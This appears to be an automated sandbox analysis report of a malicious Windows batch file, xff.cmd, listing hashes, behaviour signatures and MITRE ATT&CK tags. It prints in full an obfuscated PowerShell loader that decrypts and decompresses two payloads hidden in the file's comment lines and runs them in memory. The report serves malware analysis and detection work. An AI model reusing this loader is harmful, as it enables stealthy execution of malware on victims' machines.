726b4c7268e3ac98dafe554aa3cf05e6ed6a185890ff717702b2e5c606cc64c1

Analysis

max time kernel
118s
max time network
118s
platform
windows7_x64
resource
win7-20240419-en
resource tags

arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
submitted
03-06-2024 11:15

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General

Target

xff.cmd
Size

55KB
MD5

23c88462d32d9ea10a2e1d8dc2c0761d
SHA1

c4b3e713eeb23905db0919ad42eca4c4e04594ba
SHA256

726b4c7268e3ac98dafe554aa3cf05e6ed6a185890ff717702b2e5c606cc64c1
SHA512

cbb8dcec750ec00737c47d5352f13843831dcda49a0bd8c83cad986b47e6353a7d242257e7e08278c153902bec499688d8e89d2f5c73f1d90812234066545f0f
SSDEEP

768:cgYYV4VeUd8SqTSn40DSEg5+VmcA1T++1/WQItIoQMrGvNAoaN/:cgkRqTaRSTNTCCdvNAoaN/

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2240	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2240	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2240	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2204 wrote to memory of 2240	2204	cmd.exe	29
PID 2204 wrote to memory of 2240	2204	cmd.exe	29
PID 2204 wrote to memory of 2240	2204	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\xff.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:2204
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Yfl+9e1ujQfBCdBEV6Z2UkstrL+He9SOiaTy/tj4l0c='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7w7wzie8OzwYCnqdovjf0A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $mCQBR=New-Object System.IO.MemoryStream(,$param_var); $vHGEF=New-Object System.IO.MemoryStream; $UfEkZ=New-Object System.IO.Compression.GZipStream($mCQBR, [IO.Compression.CompressionMode]::Decompress); $UfEkZ.CopyTo($vHGEF); $UfEkZ.Dispose(); $mCQBR.Dispose(); $vHGEF.Dispose(); $vHGEF.ToArray();}function execute_function($param_var,$param2_var){ $cUdZW=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $FjmYk=$cUdZW.EntryPoint; $FjmYk.Invoke($null, $param2_var);}$eNFll = 'C:\Users\Admin\AppData\Local\Temp\xff.cmd';$host.UI.RawUI.WindowTitle = $eNFll;$xVjlb=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($eNFll).Split([Environment]::NewLine);foreach ($VLbEL in $xVjlb) { if ($VLbEL.StartsWith(':: ')) { $hpycz=$VLbEL.Substring(3); break; }}$payloads_var=[string[]]$hpycz.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2240

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2240-4-0x000007FEF636E000-0x000007FEF636F000-memory.dmp

Filesize
4KB

Download
memory/2240-5-0x000000001B790000-0x000000001BA72000-memory.dmp

Filesize
2.9MB

Download
memory/2240-6-0x0000000001F50000-0x0000000001F58000-memory.dmp

Filesize
32KB

Download
memory/2240-7-0x000007FEF60B0000-0x000007FEF6A4D000-memory.dmp

Filesize
9.6MB

Download
memory/2240-8-0x000007FEF60B0000-0x000007FEF6A4D000-memory.dmp

Filesize
9.6MB

Download
memory/2240-9-0x000007FEF60B0000-0x000007FEF6A4D000-memory.dmp

Filesize
9.6MB

Download
memory/2240-10-0x000007FEF60B0000-0x000007FEF6A4D000-memory.dmp

Filesize
9.6MB

Download
memory/2240-11-0x000007FEF60B0000-0x000007FEF6A4D000-memory.dmp

Filesize
9.6MB

Download
memory/2240-12-0x000007FEF60B0000-0x000007FEF6A4D000-memory.dmp

Filesize
9.6MB

Download